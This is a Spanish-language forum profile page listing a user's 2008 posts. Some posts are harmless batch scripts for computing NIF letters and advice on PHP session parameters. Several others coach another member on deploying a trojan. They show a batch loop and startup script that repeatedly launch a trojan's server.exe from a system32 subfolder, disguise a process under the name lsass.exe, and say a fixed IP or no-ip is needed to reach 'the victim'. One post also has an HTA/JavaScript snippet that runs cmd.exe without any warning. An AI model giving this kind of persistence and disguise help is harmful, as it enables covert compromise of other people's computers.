Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Stacker

#11
Hola de nuevo.

Creo que no hay una varible de entorno para system32, %windir%\system32 es lo más corto que te asegura a la vez no equivocarte de unidad. (que puede no ser C:)




La parte en rojo está bien si lo que quieres ejecutar al inicio el ctfmon.bat.

Y por último, sí, se pueden poner cuantos if exist quieras, pero ten en cuenta:

-El primero de tu script se ejecuta una vez al inicio (lsass.exe).
-El segundo se está ejecutando constantemente cada 100 pings siempre que exista system32.exe



Espero haberte ayudado. Pero para asegurarme de mi respuesta, ¿cual era el nombre de este script? ¿ctfmon.bat? - me lo he preguntado porque crei que ibas a compilarlo. :huh:

Si no es así explicame que nombre tiene cada archivo para que pueda darte una respuesta definitiva.

Saludos

#12
Scripting / Re: DNI
27 Febrero 2008, 19:45 PM
Antes de nada, hay un error: fallaba cuando tenia que mostrar el primer caracter "T".

@echo off
echo Introduce un NIF
set /p dni=
set cadena=TRWAGMYFPDXBNJZSQVHLCKE
set /a resto=%dni%-(23*(%dni%/23))
:bucle
if %resto%==0 goto fin
set /a resto-=1
set cadena=%cadena:~1,23%
goto bucle
:fin
echo La letra del NIF es %cadena:~0,1%
pause>nul


Perdón por el primer código, pasa por hacerlo deprisa. :-\




Explicación:

La idea es ir eliminando un caracter del principio de la cadena por cada unidad del resto. Y después mostrar el primer caracter de los que queden.


if %resto%==0 goto fin, comprueba si el resto es o ha llegado a cero y termina.

set /a resto-=1, resta una unidad al resto.

set cadena=%cadena:~1,22%, coge 22 (para asegurarnos de abarcar todo) caracteres a partir de la posición 1, es decir todos menos el primero.

echo La letra del NIF es %cadena:~0,1%, igual que el anterior, en este caso desde la posición 0 y solamente 1 caracter.




La razón de usar este sistema en vez de simplemente:

echo La letra del NIF es %cadena:~%resto%,1%

- es que devuelve literalmente: cadena:~-n,1 , donde n es el resto.


Si alguien sabe evitar esto seria de gran utilidad y simplificaria muchísimo el código.

Espero que hayas entendido el código.

Saludos
#13
Scripting / Re: DNI
26 Febrero 2008, 19:19 PM
Hola, lo deje así y funciona. Si alguien sabe simplificarlo más:

@echo off
echo Introduce un NIF
set /p dni=
set cadena=TRWAGMYFPDXBNJZSQVHLCKE
set /a resto=%dni%-(23*(%dni%/23))
:bucle
set /a resto-=1
set cadena=%cadena:~1,23%
if %resto%==1 ( set cadena=%cadena:~1,1% ) else ( goto bucle )
echo La letra del NIF es %cadena%
pause>nul


-Se calcula el resto en una sola linea.
-Con un bucle se van eliminando a la vez un caracter del principio de la cadena y una unidad del resto.
-Cuando el resto llega a 1, se coge solamente el primer caracter de la cadena.


PD: Con el comando set /? puedes obtener más ayuda para tratar variables en batch.  ;)

Saludos
#14
CitarNo.. Si existe server.exe if exist, vendria a responder al bucle creo. Osea me entendes si existe server.exe empieza a hacer el bucle otra vez de 120 seg.

OK
#15
Gracias, en javascript:

<script language="javascript">
   var shell = new ActiveXObject("Wscript.shell")
   shell.run("cmd.exe /c @echo off & color a & echo ohola el mioooo & msg * holaa & pause & exit")
</script>


En navegadores, solo he conseguido que funcione en Internet Explorer, pero no en Firefox ni Opera.

Como siempre funciona, y sin confirmar con ningún mensaje de advertencia, es guardándolo como *.hta.

Gracias de nuevo por el código.

Saludos
#16
Scripting / Re: Replicar método POST
15 Febrero 2008, 16:29 PM
Hola, el parametro PHPSESSID, que se envia implícitamente en el campo action, se deberia enviar correctamente si usas el método post en el formulario. Creo que el problema está en que al enviar los datos del formulario con el método get se suprime el parametro PHPSESSID.

Se me ocurre que puedes usar javascript para extraer el parámetro PHPSESSID (si no tiene longitud fija con expresiones regulares) y añadirlo a otro campo del formulario. De este modo no se perderá el parametro.

Espero que te ayude, avisa si no he entendido bien algo.

Saludos
#17
Así es. Pero, no entiendo al ver otra vez el código porqué si existe server.exe se ejecuta lsass.exe cada x segundos.
#18
Entiendo, creo que no deberia darte problemas. :)

Además supongo que tendrás ip fija, un no-ip o un sistema que te reporte la ip de la víctima (si no se encarga el propio troyano).
#19
Esto llamaria a lsass.exe si existe server.exe, si lo que quieres es ejecutar el server deberia quedar así:

Citarif exist %windir%\system32\1234\server.exe ( start %windir%\system32\1234\server.exe )

Por otro lado tanto si es server.exe(server de un troyano) como lsass.exe(bucle), supongo que deberian estar siempre en ejecución por lo que al llamarlos una y otra vez acabarás bloqueando windows.

No se si te referias a eso

#20
Entonces esta todo bien.

Handle with care  ;D

Suerte